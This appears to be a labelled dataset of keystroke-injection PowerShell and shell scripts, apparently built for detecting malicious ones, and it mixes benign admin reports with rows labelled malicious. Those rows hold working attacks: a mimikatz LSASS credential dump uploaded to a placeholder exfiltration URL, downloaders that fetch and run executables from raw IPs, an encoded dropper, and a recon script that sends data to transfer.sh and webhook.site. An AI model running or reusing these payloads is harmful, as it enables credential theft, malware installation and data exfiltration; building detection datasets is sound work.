"win+r enter powershell enter enter enter function Start-PowerShellProcess enter { enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter $CommandLine, enter enter [Parameter(Mandatory=$true)] enter [pscredential] enter $Credential enter ) enter enter Set-StrictMode -Version 'Latest' enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $outFile = '{0}-{1}-stdout' -f (Split-Path -Leaf -Path $PSCommandPath),([IO.Path]::GetRandomFileName()) enter $outFile = Join-Path -Path $env:TEMP -ChildPath $outFile enter Write-Debug $outFile enter '' | Set-Content -Path $outFile enter enter $errFile = '{0}-{1}-stderr' -f (Split-Path -Leaf -Path $PSCommandPath),([IO.Path]::GetRandomFileName()) enter $errFile = Join-Path -Path $env:TEMP -ChildPath $errFile enter Write-Debug $errFile enter '' | Set-Content -Path $errFile enter enter try enter { enter Write-Debug -Message ('{0} > powershell.exe {1}' -f (Get-Location).ProviderPath,$CommandLine) enter $p = Start-Process -FilePath ""powershell.exe"" ` enter -ArgumentList $CommandLine ` enter -Credential $Credential ` enter -RedirectStandardOutput $outFile ` enter -RedirectStandardError $errFile ` enter -Wait ` enter -WindowStyle Hidden ` enter -PassThru enter enter $p.WaitForExit() enter enter $stdOut = Get-Content -Path $outFile -Raw enter if( $stdOut ) enter { enter Write-Verbose -Message $stdOut enter } enter enter $stdErr = Get-Content -Path $errFile -Raw enter if( $stdErr ) enter { enter Write-Error -Message $stdErr enter return enter } enter enter if( $p.ExitCode -ne 0 ) enter { enter Write-Error -Message ('Unknown error running PowerShell as user {0}: exit code {1}{2}{3}' -f $Credential.UserName,$p.ExitCode,([Environment]::NewLine),$stdOut) enter return enter } enter enter if( $stdOut ) enter { enter return Get-Content -Path $outFile enter } enter } enter finally enter { enter Remove-Item -Path $outFile,$errFile -ErrorAction SilentlyContinue enter } enter } enter enter",0,0,0.9969303,0.0030697496
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_hnhyn39l"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.json"") -Encoding UTF8 enter Get-WinEvent -LogName Application -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3924538e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_4h2zsxoh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_warnings_25.csv"") -NoTypeInformation enter",0,0,0.99996626,3.369828e-05
"win r powershell ""rm $env:TEMP\lsass.DMP"" enter win r taskmgrctrl shift enter alt y down lsassshift f10 up enter enter alt f4 win r powershell.exectrl shift enter alt y if((Get-MpComputerStatus).RealTimeProtectionEnabled){Set-MpPreference -ExclusionPath $env:TEMP} enter wget #SERVER_URL/mimikatz.exe -o $env:TEMP\mimikatz.exe enter cd $env:TEMP enter .\mimikatz.exe ""privilege::debug"" enter log exfiltration.log enter sekurlsa::minidump lsass.DMP enter sekurlsa::logonpasswords enter ctrl c cat .\exfiltration.log | Select-String -Pattern ""NTLM"" -Context 2,0 | Get-Unique > credentials.txt enter Compress-Archive -Force -Path $env:TEMP\exfiltration.log, $env:TEMP\credentials.txt -DestinationPath $env:TEMP\#archive enter Invoke-WebRequest -Method PUT -InFile $env:TEMP\#archive -Uri #EXFIL_URL#archive enter rm $env:TEMP\lsass.DMP enter rm $env:TEMP\mimikatz.exe enter rm $env:TEMP\exfiltration.log enter rm $env:TEMP\credentials.txt enter rm $env:TEMP\data.zip enter Remove-MpPreference -ExclusionPath $env:TEMP enter rm (Get-PSReadLineOption).HistorySavePath enter",1,1,0.00013214348,0.9998678
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_eg8lxum3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3763234e-05
"win+r enter powershell enter enter enter function Get-CPrincipal enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory)] enter enter [DirectoryServices.AccountManagement.Principal]$Principal, enter enter [Parameter(Mandatory)] enter [scriptblock]$Filter enter ) enter enter Set-StrictMode -Version 'Latest' enter Use-CallerPreference -Cmdlet $PSCmdlet -SessionState $ExecutionContext.SessionState enter enter $principalTypeName = 'principal' enter if( $Principal -is [DirectoryServices.AccountManagement.UserPrincipal] ) enter { enter $principalTypeName = 'user' enter } enter elseif( $Principal -is [DirectoryServices.AccountManagement.GroupPrincipal] ) enter { enter $principalTypeName = 'group' enter } enter enter Write-Timing 'Get-CPrincipal' enter Write-Timing (' {0}' -f $principalTypeName) enter enter $searcher = New-Object 'DirectoryServices.AccountManagement.PrincipalSearcher' $Principal enter try enter { enter $principals = @() enter enter $maxTries = 100 enter $tryNum = 0 enter while( $tryNum++ -lt $maxTries ) enter { enter $numErrorsBefore = $Global:Error.Count enter try enter { enter Write-Timing (' [{0,3} of {1}] FindAll() Begin' -f $tryNum,$maxTries) enter $principals = enter $searcher.FindAll() | enter Where-Object -FilterScript $Filter enter Write-Timing (' FindAll() End') enter break enter } enter catch enter { enter Write-Timing (' FindAll() Failed') enter $_ | Out-String | Write-Debug enter enter $lastTry = $tryNum -ge $maxTries enter if( $lastTry ) enter { enter Write-Error -Message ('We tried {0} times to read {1} information, but kept getting exceptions. We''ve given up. Here''s the last error we got: {2}.' -f $maxTries,$principalTypeName,$_) -ErrorAction $ErrorActionPreference enter return enter } enter enter $numErrors = $Global:Error.Count - $numErrorsBefore enter for( $idx = 0; $idx -lt $numErrors; ++$idx ) enter { enter $Global:Error.RemoveAt(0) enter } enter enter Start-Sleep -Milliseconds 100 enter } enter } enter return $principals enter } enter finally enter { enter $searcher.Dispose() enter Write-Timing ('Get-CPrincipal') enter } enter } enter $wc=New-ObjEct SySTEM.NET.WebClienT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HEadeRS.AdD('User-Agent',$u);$Wc.PrOxY = [SYsTEM.NeT.WeBREqUeST]::DeFaulTWEBPROXy;$wC.ProXY.CrEDeNtiaLS = [SyStEm.Net.CREDentIalCAChE]::DefAULtNetwoRkCREdenTiAlS;$K='/j(\wly4+aW enter enter",1,1,5.5766897e-05,0.9999442
"win+r powershell enter $apiVersion = ""2015-04-08"" $resourceGroupName = ""myResourceGroup"" $accountName = enter ""mycosmosaccount"" $keyspaceName = ""keyspace1"" $tableName = ""table1"" $keyspaceTh enter roughputResourceType = ""Microsoft.DocumentDb/databaseAccounts/apis/keyspaces/set enter tings"" $keyspaceThroughputResourceName = $accountName + ""/cassandra/"" + $keyspac enter eName + ""/throughput"" $tableThroughputResourceName = $accountName + ""/cassandra/ enter "" + $keyspaceName + ""/"" + $tableName + ""/throughput"" $tableThroughputResourceTyp enter e = ""Microsoft.DocumentDb/databaseAccounts/apis/keyspaces/tables/settings"" Get- enter AzResource -ResourceType $keyspaceThroughputResourceType ` -ApiVersion $apiVers enter ion -ResourceGroupName $resourceGroupName ` enter enter",1,1,0.0046240804,0.9953759
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('http://31.184.234.74/crypted/108 enter 0qw.exe','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,5.7614172e-05,0.9999424
"win+r enter powershell enter enter enter function New-PSFMessageLevelModifier enter { enter enter [Diagnostics.CodeAnalysis.SuppressMessageAttribute(""PSUseShouldProcessForStateChangingFunctions"", """")] enter [CmdletBinding(HelpUri = 'https://psframework.org/documentation/commands/PSFramework/New-PSFMessageLevelModifier')] enter Param ( enter [Parameter(Mandatory = $true)] enter [string] enter $Name, enter enter [Parameter(Mandatory = $true)] enter [int] enter $Modifier, enter enter [string] enter $IncludeFunctionName, enter enter [string] enter $ExcludeFunctionName, enter enter [string] enter $IncludeModuleName, enter enter [string] enter $ExcludeModuleName, enter enter [string[]] enter $IncludeTags, enter enter [string[]] enter $ExcludeTags, enter enter [switch] enter $EnableException enter ) enter enter if (Test-PSFParameterBinding -ParameterName IncludeFunctionName, ExcludeFunctionName, IncludeModuleName, ExcludeModuleName, IncludeTags, ExcludeTags -Not) enter { enter Stop-PSFFunction -Message ""Must specify at least one condition in order to apply message level modifier!"" -EnableException $EnableException -Category InvalidArgument -Tag 'fail', 'argument', 'message', 'level' enter return enter } enter enter $levelModifier = New-Object PSFramework.Message.MessageLevelModifier enter $levelModifier.Name = $Name.ToLower() enter $levelModifier.Modifier = $Modifier enter enter if (Test-PSFParameterBinding -ParameterName IncludeFunctionName) enter { enter $levelModifier.IncludeFunctionName = $IncludeFunctionName enter } enter enter if (Test-PSFParameterBinding -ParameterName ExcludeFunctionName) enter { enter $levelModifier.ExcludeFunctionName = $ExcludeFunctionName enter } enter enter if (Test-PSFParameterBinding -ParameterName IncludeModuleName) enter { enter $levelModifier.IncludeModuleName = $IncludeModuleName enter } enter enter if (Test-PSFParameterBinding -ParameterName ExcludeModuleName) enter { enter $levelModifier.ExcludeModuleName = $ExcludeModuleName enter } enter enter if (Test-PSFParameterBinding -ParameterName IncludeTags) enter { enter $levelModifier.IncludeTags = $IncludeTags enter } enter enter if (Test-PSFParameterBinding -ParameterName ExcludeTags) enter { enter $levelModifier.ExcludeTags = $ExcludeTags enter } enter enter [PSFramework.Message.MessageHost]::MessageLevelModifiers[$levelModifier.Name] = $levelModifier enter enter $levelModifier enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.946629e-05,0.9999405
"win+r enter powershell enter enter enter set-EXeCuTIonPOLICy BYPASs -scope PrOCesS -FoRcE ; PoWErshEll -eX ByPAsS -nOP -W 1 -Ec IABbAE4AZQBUAC4AUwBlAFIAVgBpAEMAZQBwAG8ASQBuAHQATQBhAE4AQQBnAGUAUgBdADoAOgBzAGUAYwBVAHIASQBUAHkAcABSAG8AdABvAEMATwBMACAAPQAgAFsATgBFAHQALgBzAGUAQwB1AHIAaQBUAFkAUAByAE8AVABvAGMAbwBMAHQAeQBQAEUAXQA6ADoAVABsAHMAMQAyACAAIAA7ACAAIAAJAEkAUgBNACAACQAtAHUAcgBJACAAIAAoAB0gaAB0AHQAcAA6AC8ALwBvAB0gIAAJACAACQArACAACQAdIHoAegB5AGkAbgBnAGkAbABpAHoAYwBlAC4AYwBvAG0ALwB3AB0gIAAJACAACQArACAACQAdIHAALQBjAG8AHSAgAAkAIAAJACsAIAAJAB0gbgB0AGUAbgB0AC8AcwBnAHUALwAzADUANAA2ADUANAA4ADYANwA0ADMAMQAwADgAHSAgAAkAIAAJACsAIAAJAB0gMgA5AB0gIAAJACAACQArACAACQAdIC4AHSAgAAkAIAAJACsAIAAJAB0gZQAdICAACQAgAAkAKwAgAAkAHSB4AGUAHSAgAAkAKQAgAAkALQBvAHUAVABGAGkAbABlACAAHSAkAGUAbgB2ADoAdQBzAGUAcgBwAHIATwBmAEkAbABlAFwAdQBwAGQAYQB0AC4AZQB4AGUAHSAgACAAOwAgAEkAbgB2AG8AawBFAC0ASQB0AGUATQAgAAkAHSAkAEUAbgBWADoAdQBTAEUAUgBwAFIATwBGAGkAbABlAFwAdQBwAGQAYQB0AC4AZQB4AGUAHSA= enter enter [decoded_payloads] enter [decoded:long_base64_literal] enter [NeT.SeRViCepoIntMaNAgeR]::secUrITypRotoCOL = [NEt.seCuriTYPrOTocoLtyPE]::Tls12 ; IRM -urI (""http://o"" + ""zzyingilizce.com/w"" + ""p-co"" + ""ntent/sgu/35465486743108"" + ""29"" + ""."" + ""e"" + ""xe"" ) -ouTFile ""$env:userprOfIle\updat.exe"" ; InvokE-IteM ""$EnV:uSERpROFile\updat.exe"" enter enter",1,1,6.137678e-05,0.9999386
delay_short enter unknown_key_action WINDOWS d enter delay_short enter unknown_key_action CTRL-ALT t enter delay_long enter wget -qO - https://github.com/FalsePhilosopher/BadUSB-Playground/raw/refs/heads/main/Ducky/USBRubberducky/prank/Unix-like/Linux/Activate_linux/al.sh | bash enter enter,1,1,6.061879e-05,0.9999393
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_j4q1na8m"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 50 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4321994e-05
"win+r enter powershell enter enter enter function Confirm-Choice { enter [OutputType('boolean')] enter [CmdletBinding()] enter param enter ( enter [Parameter()] enter [ValidateNotNullOrEmpty()] enter [string]$Title, enter enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$PromptMessage enter ) enter enter $yes = New-Object System.Management.Automation.Host.ChoiceDescription ""&Yes"" enter $no = New-Object System.Management.Automation.Host.ChoiceDescription ""&No"" enter $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) enter enter if ($PSBoundParameters.ContainsKey('Title')) { enter Write-Host -Object $Title -ForegroundColor Cyan enter } enter enter Write-Host -Object $PromptMessage -ForegroundColor Cyan enter $result = $host.ui.PromptForChoice($null, $null, $Options, 1) enter enter switch ($result) { enter 0 { enter $true enter } enter 1 { enter $false enter } enter } enter } enter enter",0,0,0.9985751,0.0014249159
"win+r powershell enter $reportPortalUri = if ($env:PesterPortalUrl -eq $null) { 'http://localhost/repor enter ts' } else { $env:PesterPortalUrl } $reportServerUri = if ($env:PesterServerUrl enter -eq $null) { 'http://localhost/reportserver' } else { $env:PesterServerUrl } fu enter nction VerifyCatalogItemExists() { param( [Parameter(Mandatory = $True)] [str enter ing] $itemName, [Parameter(Mandatory = $True)] [string] enter enter",1,1,0.005976453,0.9940235
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_3or7kkbm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Get-NetRoute | enter Select-Object -First 50 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4686047e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_mslyi1h0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.4582998e-05
"win+r powershell enter Function Get-FailingDrive { [cmdletbinding()] Param ( [parameter(ValueFromP enter ipeline=$True,ValueFromPipelineByPropertyName=$True)] [string[]]$Computername, enter [parameter()] [System.Management.Automation.PSCredential]$Credential ) Begin enter { $queryhash = @{} $BadDriveHash = @{} enter",1,1,0.004370307,0.99562967
"win+r enter powershell enter enter enter $here = Split-Path -Parent $MyInvocation.MyCommand.Path enter $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace '\.Tests', '' enter . ""$here\$sut"" enter enter $httpUserPassword = $ENV:HttpPassword enter $location = $ENV:Location enter $securePassword = ConvertTo-SecureString $httpUserPassword -AsPlainText -Force enter $loginCreds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""admin"", $securePassword enter $sshCreds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""sshuser"", $securePassword enter function Get-Credential { enter Param( enter [string]$Name enter ) enter enter if($Name -eq ""admin"") { enter return $loginCreds enter } else { enter return $sshCreds enter } enter } enter $names=""dasher"",""dancer"",""prancer"",""vixen"",""comet"",""cupid"",""donder"",""blitzen"" enter $baseName=Get-Random $names enter $mills=Get-Date -Format ms enter enter $resourceGroupName = $baseName + ""rg"" + $mills enter $clusterName = $baseName + ""hdi"" + $mills enter $storageAccountName = $basename + ""store"" + $mills enter enter write-host ""Creating new resource group named: $resourceGroupName"" enter Describe ""hdinsight-hadoop-create-linux-clusters-azure-powershell"" { enter It ""Creates a Linux-based cluster using PowerShell"" { enter enter Mock Read-Host { $resourceGroupName } -ParameterFilter { enter $Prompt -eq ""Enter the resource group name"" enter } enter Mock Read-Host { $location } -ParameterFilter { enter $Prompt -eq ""Enter the Azure region to create resources in"" enter } enter Mock Read-Host { $storageAccountName } -ParameterFilter { enter $Prompt -eq ""Enter the name of the storage account"" enter } enter Mock Read-Host { $clusterName } -ParameterFilter { enter $Prompt -eq ""Enter the name of the HDInsight cluster"" enter } enter $clusterInfo = New-Cluster enter $clusterInfo[-1].ClusterState | Should be ""Running"" enter $clusterInfo[-1].Name | Should be $clusterName enter } enter } enter write-host ""Please remember that YOU must manually delete the $resourceGroupName resource group created by this test!!!"" enter enter",0,0,0.99991536,8.461337e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_qnb1pzi6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Select-Object -First 200 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting network_checks section 2."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4669974e-05
"win+r enter powershell enter enter enter # Set-PSReadlineOption -HistorySaveStyle SaveNothing enter enter $ProgramFiles = ls ""C:\Program Files"" | Out-Null enter enter $ProgramFiles86 = ls ""C:\Program Files (x86)"" | Out-Null enter enter $Network = ipconfig enter enter ############### enter enter $folderDateTime = (get-date).ToString('d/M/y HH-mm-ss') enter enter $userDir = ""C:\Users\$env:UserName\Lxq49abEQz"" enter $lootDir = ""C:\Users\$env:UserName\TehYpfKxbn"" enter enter New-Item -ItemType Directory -Force -Path $userDir enter $fileSaveDir = New-Item -ItemType Directory -Force -Path ""$userDir\"" enter enter New-Item -ItemType Directory -Force -Path $lootDir enter $fileLootDir = New-Item -ItemType Directory -Force -Path ""$lootDir\"" enter $date = Get-Date -Format ""dd/MM/yyyy HH:mm:ss"" enter enter $style = ""<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:500px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"" enter enter $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/export.html' enter enter $Report = $Report + ""<div id=body><h1>Info Report</h1><hr size=2><br><h3> Generated on: $date </h3><br>"" enter enter ################################### enter enter $Report = $Report + '<div id=center><h3> Installed Programs</h3> ' enter enter $Report = $Report + (Get-WmiObject -class Win32_Product | ConvertTo-html Name, Version,InstallDate) enter enter ################################### enter enter $Report = $Report + '</table></div>' enter enter $SysBootTime = Get-WmiObject Win32_OperatingSystem enter enter $BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime enter enter $SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName $env:COMPUTERNAME) enter enter $SerialNo = $SysSerialNo.SerialNumber enter enter $SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model enter enter $SysManufacturer = $SysInfo.Manufacturer enter enter $SysModel = $SysInfo.Model enter enter $OS = (Get-WmiObject Win32_OperatingSystem -computername $env:COMPUTERNAME ).caption enter enter $disk = Get-WmiObject Win32_LogicalDisk -Filter ""DeviceID='C:'"" enter enter $HD = [math]::truncate($disk.Size / 1GB) enter enter $FreeSpace = [math]::truncate($disk.FreeSpace / 1GB) enter enter $SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername $env:COMPUTERNAME | Select TotalVisibleMemorySize enter enter $Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB) enter enter $SysCpu = Get-WmiObject Win32_Processor | Select Name enter enter $Cpu = $SysCpu.Name enter enter $HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME | select SerialNumber enter enter $HardSerialNo = $HardSerial.SerialNumber enter enter $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name enter enter $graphicsCard = gwmi win32_VideoController |select Name enter enter $graphics = $graphicsCard.Name enter enter $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1 enter enter $DriveLetter = $CDDrive.Drive enter enter $DriveName = $CDDrive.Caption enter enter $Disk = $DriveLetter + '\' + $DriveName enter enter $Firewall = New-Object -com HNetCfg.FwMgr enter enter $FireProfile = $Firewall.LocalPolicy.CurrentProfile enter enter $FireProfile = $FireProfile.FirewallEnabled enter enter $Report = $Report + ""<div id=left><h3>Computer Information</h3><br><table><tr><td>Operating System</td><td>$OS</td></tr><tr><td>OS Serial Number:</td><td>$SerialNo</td></tr><tr><td>Current User:</td><td>$env:USERNAME </td></tr><tr><td>System Uptime:</td><td>$BootTime</td></tr><tr><td>System Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System Model:</td><td>$SysModel</td></tr><tr><td>Serial Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is Active:</td><td>$FireProfile</td></tr></table></div><div id=right><h3>Hardware Information</h3><table><tr><td>Hardrive Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD Drive:</td><td>$Disk</td></tr><tr><td>Graphics Card:</td><td>$graphics</td></tr></table></div>"" enter enter $UserInfo = Get-WmiObject -class Win32_UserAccount -namespace root/CIMV2 | Where-Object {$_.Name -eq $env:UserName}| Select AccountType,SID,PasswordRequired enter enter $UserType = $UserInfo.AccountType enter enter $UserSid = $UserInfo.SID enter enter $UserPass = $UserInfo.PasswordRequired enter enter $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator') enter enter $Execute = Get-ExecutionPolicy enter enter $Report = $Report + ""<div id=left><h3>User Information</h3><br><table><tr><td>Current User Name:</td><td>$env:USERNAME</td></tr><tr><td>Account Type:</td><td> $UserType</td></tr><tr><td>User SID:</td><td>$UserSid</td></tr><tr><td>Account Domain:</td><td>$env:USERDOMAIN</td></tr><tr><td>Password Required:</td><td>$UserPass</td></tr><tr><td>Current User is Admin:</td><td>$IsAdmin</td></tr><tr><td>Can execute commands:</td><td>$Execute</td></tr></table></div>"" enter $Report = $Report + ""<div id=right><h3> Network</h3>"" enter enter # Definir el contenido del reporte enter $cuerpo = $network enter enter # Crear la tabla HTML enter $html = ""<html><head><style>table {border-collapse: collapse;}th, td {border: 1px solid black;padding: 5px;text-align: left;}</style></head><body>"" enter $html += ""<table><tr><th>Descripcion</th><th>Valor</th></tr>"" enter $html += $cuerpo -split ""`n"" | ForEach-Object { enter $campo, $valor = $_ -split "":"" enter ""<tr><td>$campo</td><td>$valor</td></tr>"" enter } enter $html += ""</table></body></html>"" enter $Report = $Report + ($html) enter $Report = $Report + '</table></div>' enter ################### VARS enter enter $tamanomane = Get-ChildItem ""C:\Program Files"" | Where-Object {$_.PSIsContainer} | Select-Object Name, @{Name=""Size_MB"";Expression={""{0:N2}"" -f ((Get-ChildItem $_.FullName -Recurse | Measure-Object -Property Length -Sum).Sum / 1MB)}} enter enter $tamanomane86 = Get-ChildItem ""C:\Program Files (x86)"" | Where-Object {$_.PSIsContainer} | Select-Object Name, @{Name=""Size_MB"";Expression={""{0:N2}"" -f ((Get-ChildItem $_.FullName -Recurse | Measure-Object -Property Length -Sum).Sum / 1MB)}} enter $style = ""<style>table td {padding-right: 10px;text-align: left;}#left{float: left;background-color: #C0C0C0;width: 45%;height: 500px;border: 4px solid black;padding: 10px;margin: 10px;overflow: scroll;}#right{background-color: #C0C0C0;float: right;width: 45%;height: 500px;border: 4px solid black;padding: 10px;margin: 10px;overflow: scroll;}</style>"" enter ############################ enter $Report = $Report + ""<div id=left><h3> C:\Program Files</h3>"" enter enter $Report = $Report + ($tamanomane | ConvertTo-html Name, Size_MB) enter $Report = $Report + '</table></div>' enter enter $Report = $Report + ""<div id=right><h3> C:\Program Files (x86)</h3>"" enter enter $Report = $Report + ($tamanomane86 | ConvertTo-html Name, Size_MB) enter $Report = $Report + '</table></div>' enter ############################ Export & Compress enter enter $Report >> $fileSaveDir'/export.html' enter enter function copy-ToZip($fileSaveDir){ enter enter $srcdir = $fileSaveDir enter enter $zipfile1 = ""$HOME\TehYpfKxbn\export.zip"" enter enter $zipFile = $zipfile1 enter enter if(-not (test-path($zipFile))) { enter enter set-content $zipFile (""PK"" + [char]5 + [char]6 + (""$([char]0)"" * 18)) enter enter (dir $zipFile).IsReadOnly = $false} enter enter $shellApplication = new-object -com shell.application enter enter $zipPackage = $shellApplication.NameSpace($zipFile) enter enter $files = Get-ChildItem -Path $srcdir enter enter foreach($file in $files) { enter enter $zipPackage.CopyHere($file.FullName) enter enter while($zipPackage.Items().Item($file.name) -eq $null){ enter enter Start-sleep -seconds 1 }}} enter enter copy-ToZip($fileSaveDir) enter ############################ Send enter enter $Url_Download = Invoke-WebRequest -UseBasicParsing -Uri ""https://transfer.sh/export.zip"" -Method Put -Headers @{""Max-Downloads"" = ""1""; ""Max-Days"" = ""1""} -InFile ""$HOME\TehYpfKxbn\export.zip"" | Select-Object -ExpandProperty Content enter enter Invoke-WebRequest -Method POST -UseBasicParsing -Uri ""https://webhook.site/7b8c61c4-e058-43dc-9bd9-7d82190cd75e"" -Body $Url_Download -ContentType ""text/plain"" | Out-Null enter ################# EXITTING enter enter remove-item $fileSaveDir -recurse -Force enter enter remove-item $filelootDir -recurse -Force enter enter Remove-Item $MyINvocation.InvocationName -Force enter enter # Set-PSReadlineOption -HistorySaveStyle SaveIncrementally enter enter # Remove-Item (Get-PSReadlineOption).HistorySavePath enter enter",1,1,7.576714e-05,0.9999242
